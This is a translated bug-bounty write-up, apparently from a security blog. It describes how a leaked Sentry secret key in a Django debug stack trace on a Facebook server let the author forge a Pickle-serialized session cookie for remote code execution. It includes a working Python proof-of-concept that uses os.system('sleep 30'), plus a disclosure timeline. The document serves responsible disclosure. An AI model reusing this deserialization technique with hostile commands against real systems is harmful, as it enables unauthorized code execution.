15205639523134.jpg最近,我在参与一些漏洞众测项目,本文中我就来分享一个我发现的Facebook某服务器漏洞,该漏洞获得Facebook官方$5000美金奖励。

端倪

在我前期对Facebook网段199.201.65.0/24进行探测时发现,其中在IP 199.201.65.36 上部署有Sentry服务,其主机名为sentryagreements.thefacebook.com。Sentry是基于Python语言和Django架构的,一种Web形式的日志收集应用。

发现

在对该Web应用进行分析过程中,页面上经常有一些莫名其妙的堆栈跟踪行为(stacktrace)跳出来。并且其用户密码重置功能貌似非常不稳定,老是会崩溃。如果在不关闭Django调试模式的情况下,当发生堆栈跟踪行为时,页面上就会打印显示出整个运行环境,好在其中不包括密码、密钥或key等敏感信息。

facebook_crash.png但是,在认真查看堆栈跟踪方法时,一些环境变量值看似很有意思,比如:

SESSION_COOKIE_NAME的名称是sentrysid

SESSION_SERIALIZER对应的调用方法是django.contrib.sessions.serializers.PickleSerializer

SESSION_ENGINE对应的调用方法是django.contrib.sessions.backends.signed_cookies

SENTRY_OPTIONS值中包含了一个Sentry服务的配置信息列表

在Python中,Pickle模块是对Python对象结构进行二进制序列化和反序列化的协议实现,就是把Python数据变成流的形式,就像其中的类和方法一样。可以查看此文,了解Pickle的运行机制和安全实现。

假设一下,如果我们可以伪造包含任意Pickle内容的会话,那么就能在系统中间接执行命令了。但是,Django框架中用来验证会话cookie的SECRET_KEY,在堆栈跟踪行为中是不存在的。咦,怎么在SENTRY_OPTIONS中的Sentry配置信息列表中包含了一个名为system.secret-key的键值!这个键值是未被Django框架过滤掉的。

然后,我又把Sentry 应用的说明文档翻了一遍,发现system.secret-key是”一个用于会话验证的安全密钥,如果该密钥受到破坏或窃取,则需要对它重新生成,否则用户会话存在被劫持的可能。哇,如果这样,那是不是存在Django的SECRET-KEY重写漏洞了呢?

facebook_leak.png漏洞测试

由于要伪造包含任意Pickle内容的会话,所以我写了一个小脚本,用来向我的sentrysid cookie中添加了一个Payload执行载荷。


#!/usr/bin/python

import django.core.signing, django.contrib.sessions.serializers

from django.http import HttpResponse

import cPickle

import os

SECRET_KEY='[RETRIEVEDKEY]'

#Initial cookie I had on sentry when trying to reset a password

cookie='gAJ9cQFYCgAAAHRlc3Rjb29raWVxAlgGAAAAd29ya2VkcQNzLg:1fjsBy:FdZ8oz3sQBnx2TPyncNt0LoyiAw'

newContent =  django.core.signing.loads(cookie,key=SECRET_KEY,serializer=django.contrib.sessions.serializers.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies')

class PickleRce(object):

    def __reduce__(self):

        return (os.system,("sleep 30",))

newContent['testcookie'] = PickleRce()

print django.core.signing.dumps(newContent,key=SECRET_KEY,serializer=django.contrib.sessions.serializers.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies',compress=True)

这就是一个简单的PoC代码,它首先会获取当前的sentrysid cookie,然后在反序列化时,用任意对象内容以os.system(“sleep 30”) 挂起方法来把sentrysid cookie进行替换。

当系统使用了这个被替换的sentrysid cookie之后,页面实际上会增加30秒的延迟响应。当然,如果会出现这种情况,也就证明漏洞的存在。

最终,Facebook承认了该漏洞的有效性,之后,把这个sentryagreements.thefacebook.com系统下线,并告知我漏洞补丁已经在着手开发。

漏洞上报进程

2018.7.30  00:00  漏洞初报

2018.7.30  15:25   Facebook进行漏洞分类并将Sentry服务系统下线

2018.8.9    18:10   补丁修复

2018.8.9    20:10  Facebook向我奖励了$5000美金,并告知我这个Sentry服务器位于一个单独的VLAN中,其中未包含特定的用户数据。

*参考来源:scrt,clouds编译,转自FreeBuf